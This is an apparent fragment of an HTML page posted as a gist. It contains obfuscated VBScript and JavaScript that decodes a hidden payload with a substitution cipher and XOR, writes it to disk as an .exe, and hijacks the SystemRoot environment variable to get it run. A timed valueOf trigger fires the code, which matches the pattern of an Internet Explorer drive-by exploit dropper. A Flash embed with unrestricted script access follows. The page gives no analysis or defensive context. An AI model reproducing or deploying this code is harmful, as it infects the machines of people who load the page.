d9xoUytyEsTTT="For Each v8wARMpL In h3Ltxe Set T0VyaRH = Nothing Function o1kiSCys(q8gdFRZM, S7mrQWnH "
c7OZcCCUbfWy=dd(".y00")
F2LrTnlkLKKM = c7OZcCCUbfWy
Dim a9pZmEuD188
A7IlniciXdh=dd("F8B45FDE -4 ")
a0hPCwHTdUE = A7IlniciXdh
Dim D5BXcFUZgFw189
else
Dim h8FlHFNE190
d7LSMgDOwX=dd(".878")
F2LrTnlkLKKM = d7LSMgDOwX
Dim C0TxELobz191
S9wzWoCeB=ds("")
a0hPCwHTdUE = S9wzWoCeB
Dim L8ytXZODAOgZ192
end if
Dim B2TqrkePcgqz193
Dim P9JamANQMGsn194
Dim b7kfggdKKkh195
F2LrTnlkLKKM = ".exe"
Dim C2xsGFhgZ196
U4ihBIVFOX=T6NGBlAaAHZs.BuildPath(B7DFLhbzKw,K7bnqVFWpOi & F2LrTnlkLKKM)
Dim K1nrOWcToTv197
w6UNikGiavFz=dd("I3z3g.VJF8b,")
Set S2SPfgQIhiu=CreateObject(w6UNikGiavFz)
Dim u0WLrkrU198
S2SPfgQIhiu.Open
Dim S6mrhEfTtTR199
S2SPfgQIhiu.Type=1
Dim z1MChfJd200
S2SPfgQIhiu.Write M5kdstlMVI
Dim K8oxJqki201
k9RAtnHAl S2SPfgQIhiu, K7bnqVFWpOi, U4ihBIVFOX
Dim y4ofrNPDoLlJ202
S2SPfgQIhiu.Close
A4cGHKmBBiTMauhh="If Len(c4dKwqWE.T3IIMQJz) > 0 Then While Not m7AlAG.h8zOsQ "
c1wkTWsyKIskPxMS="Private Sub Class R3yzy Private Sub Class f8abPZ For Each T4VtZgx In L0mulZb "
Dim a6JuSVuWqF205
YYYYYYYS= Chr("&H53")
POPSSS1111IIIII = YYYYYYYS + "ys"
Dim M1iTLZAu206
n9UFlNEhLeb=dd("6VRFhNJ.Vi800")
Set i1ixgUvLLwp=CreateObject(n9UFlNEhLeb)
L0mAFLHSAEAb="End Function "
i1ixgUvLLwp.CurrentDirectory=B7DFLhbzKw
Dim c4CkwfebL208
T1kGTTCiK = U4ihBIVFOX
Dim L5ppWEfyV209
S0sKUODbQg=dd("9FuR844")
EEEEEEEEEEEEIIII = "e"
dim arr_name(4)
arr_name(0) = "m"
arr_name(1) = "R"
arr_name(2) = "o"
arr_name(3) = "o"
arr_name(4) = "t"
EEEEND = Join(arr_name,"")
AASSDDBBCXX999 = POPSSS1111IIIII&"Fil"&EEEEEEEEEEEEIIII&"nam"
AASSSDDD999 = POPSSS1111IIIII&"t"&EEEEEEEEEEEEIIII&EEEEND
POPSsystemSS1111IIIII = a()
H8TEQreaFz=i1ixgUvLLwp.Environment(S0sKUODbQg).Item(AASSSDDD999)
Dim m9KTsEyAdzP210
T9cvISusrtg=dd("9FuR844")
i1ixgUvLLwp.Environment(T9cvISusrtg).Item(AASSSDDD999)=B7DFLhbzKw
Dim g4wLdnxNMZ211
s9WDIZEKM=dd("9FuR844")
i1ixgUvLLwp.Environment(s9WDIZEKM).Item(POPSsystemSS1111IIIII)= T1kGTTCiK
Dim C1KqFWtVHSy212
b8vdRBNa=dd("Vi800.INN0hRbJhuU")
Set z1itQVLkuiMv = CreateObject(b8vdRBNa)
Dim L2bGKgXOQz213
d1AFawHDdS=dd("9FuR844")
Environment(d1AFawHDdS).Item(AASSSDDD999)=H8TEQreaFz
Dim U9fazQiOEvQR214
End If
Dim z1RniStVnB215
End Sub
Dim M1NbkvbGHda216
Dim e7mKGiSDMgvv217
z4qTFXauuQSHQAwy="Set X4xCoT = Nothing "
N1ozlleIfafBqrPT="While Not Q3raa.P0TITIw End Sub While Not C3iPdT.Z2ETWl "
Sub k9RAtnHAl(S2SPfgQIhiu, E5LrgRxfsslJ, g6esiyxHvFT )
Dim y1PXXqeHNG220
Dim S2fbMOlqAw221
a1GxbnvNy= S2SPfgQIhiu.Size
Dim i4usGWaAwC222
S2SPfgQIhiu.position=0
Dim P7lKxRnZnXVH223
redim G2RPrrGDAHwI(a1GxbnvNy)
Dim P9anUIUTKg224
E5LrgRxfsslJ = CLng(E5LrgRxfsslJ)
Dim S9CzHhxWvgTh225
For i=0 To a1GxbnvNy-1
C7nTCUbFGtVHS="While Not J5FwkVLq.t9QvlIB End Function For Each G2NCMmm In x4pyJ "
E5LrgRxfsslJ = (E5LrgRxfsslJ + &haa) AND &hff
Dim n3NSodLip227
E5LrgRxfsslJ = E5LrgRxfsslJ xor &h48
Dim J4xrayXgFa228
G2RPrrGDAHwI(i)= Chr(CByte(AscB(S2SPfgQIhiu.Read(1)) xor E5LrgRxfsslJ))
Dim Q0nyuDRsSGTx229
Next
v6TdcoLCHvwHbFr="Set J0esbW = Nothing Private Sub Class g7FrMFFf Private Sub Class u4JDJ "
I4OkHTbHyN=ds("")
Dim u6hqBuQNF: u6hqBuQNF = join(G2RPrrGDAHwI,I4OkHTbHyN)
Dim G2WnZWMt231
x2cRdbmge=dd("VRFhNJhUB.rh08Vd4J8,zaj8RJ")
Set T6NGBlAaAHZs=CreateObject(x2cRdbmge)
A8eNCIuNQNUaUbnT="End Function Private Sub Class V6SdP For Each n4vUmIQg In c7LAoxV "
Set V0UuGbJhTmEd=T6NGBlAaAHZs.CreateTextFile(g6esiyxHvFT)
Dim m3NhFFooAX233
V0UuGbJhTmEd.Write u6hqBuQNF
Dim G9TfzpgToI234
V0UuGbJhTmEd.Close
Dim v1LpFdItwBa235
End Sub
Dim M7kvfLlVy236
Dim r7NbhGudL237
Dim q9eJhFTGLqX238
Dim y3xkotFeXD239
Function y5eVUdbtTDci
Dim n5qWdbZGN240
T9rEETruKMV.z6IvuMOurWQz()
Dim H8OdRFkPdpRs241
Dim i
Dim g1XscpOx242
For i = 0 To f7JiXArOlru
Dim u6BPRaUeTx243
N3txBPhMp(i) = Mid(B3puwOSXhFu, 1, a0KyVnEOH*12)
Dim v4RUBxbNJVf244
Next
Dim M4iBJsqsm245
End Function
V8qJWiCrpUSRdP="Sub S5AAE "
Dim U1MxceSnQEST247
Dim K9uVlMkKMVTq248
Dim C2LKTSIaQxC249
Function Hex2String(c)
Dim a, i, s, x, y, z
a = Split(c,"00")
For i = 0 To UBound(a)
x = Left(a(i),1)
y = Right(a(i),1)
z = 16*x+InStr("123456789ABCDEF",y)
s = s & Chr(z)
Next
Hex2String = s
End Function
Function ds(str)
key = "Q2vNmundas9RK7JZ3hSlMrCg/O6eXIfTHAk8WzwBqFG0ViDYtxLcP4byUo,p5E1"
V8qJWiCrpUSRdP="Sub S5AAasdasdaE "
newStr = ""
A4cGHKmBBiTMauhh="If Len(c4dKwqWE.T3IIMQJz) > 0 Then While Not m7AlAG.h8zOsQ "
For i=1 to Len(str)
sim = Mid(str, i, 1)
idx = InStr(key,sim)
if idx = Len(key) then
newStr = newStr & Mid(key, 1, 1)
elseif idx = 1 then
newStr = newStr & Mid(key, Len(key), 1)
elseif idx =0 then
newStr = newStr & sim
else
newStr = newStr & Mid(key, Len(key)-idx+1, 1)
End If
Next
v6TdcoLCHvwHbFr="Set J0esbW = Nothing Private Sub Class g7FrMFFf Private Sub Class u4JDJ "
ds = newStr
A4cGHKmBBiTMauhh="If Len(c4dKwqWE.T3IIMQJz) > 0 Then While Not m7AlAG.h8zOsQ "
End Function
</script>
<script type="text/javascript">
function dd(str){
var key = "Q2vNmundas9RK7JZ3hSlMrCg/O6eXIfTHAk8WzwBqFG0ViDYtxLcP4byUo,p5E1";
var newStr = '';
for(ix=0;ix<str.length;ix++){
var idx = key.indexOf(str[ix]);
if(idx!==-1){
newStr+= key[key.length-1-idx];
} else {
newStr+= str[ix];
}
}
return newStr;
}
function a(){
return "SysFilename";
}
function strToInt(Q0fQUraObZT){var dadasdsads = 245455;
var pppppppppppp = 4949495;
var poep33p = "fidi sdaoin sdjfj kjf sjk dkj fdjk skj sdjk sdkj d";
var skdkfkff = "function strsdsdsdssToInt(Q0fQUraObZT,sdsdsdsdsf3f,adasdsadasda)";return Q0fQUraObZT.charCodeAt(0) | (Q0fQUraObZT.charCodeAt(1) << 16);
}
var posossoso = "return Stridksksksng.fromChars;sld;d;fCode(B3puwOs;dldkffkSXhFu & 0xfddlflflffff) + Strskfkfkfing.fromCharCode(B3puwOSXhFu >> 1622);"
function intToStr(B3puwOSXhFu)
{
var po1sossoso = "return Stridksksk622);"
var pos2 = "sng.fromCCode(B3puwOSXhFu >> 1";
var pos3 = "hars;sldf) + Strskfkfkfing.fromChar";
var pos4 = ";d;fCode(B3puwOs;dldkffkSXhFu & 0xfddlflflfff";return String.fromCharCode(B3puwOSXhFu & 0xffff) + String.fromCharCode(B3puwOSXhFu >> 16);var pos4444 = ";d;fCode(B3puwOs;dldkffkSXhFu"}
var l3VpulgBFN;
l3VpulgBFN = {"valueOf": function () {
y5eVUdbtTDci();
return 1;
}};
setTimeout(function() {H7SIdSqqeuD(l3VpulgBFN);}, 100);
</script>
</body>
</html>
23745
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="80" height="80" /><param name="movie" value="/fmovie/play.swf" /><param name="allowScriptAccess" value="always" /><param name="Play" value="true" /><embed type="application/x-shockwave-flash" width="80" height="80" src="/movie/play.swf" allowScriptAccess="always" Play="true"/></object></body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment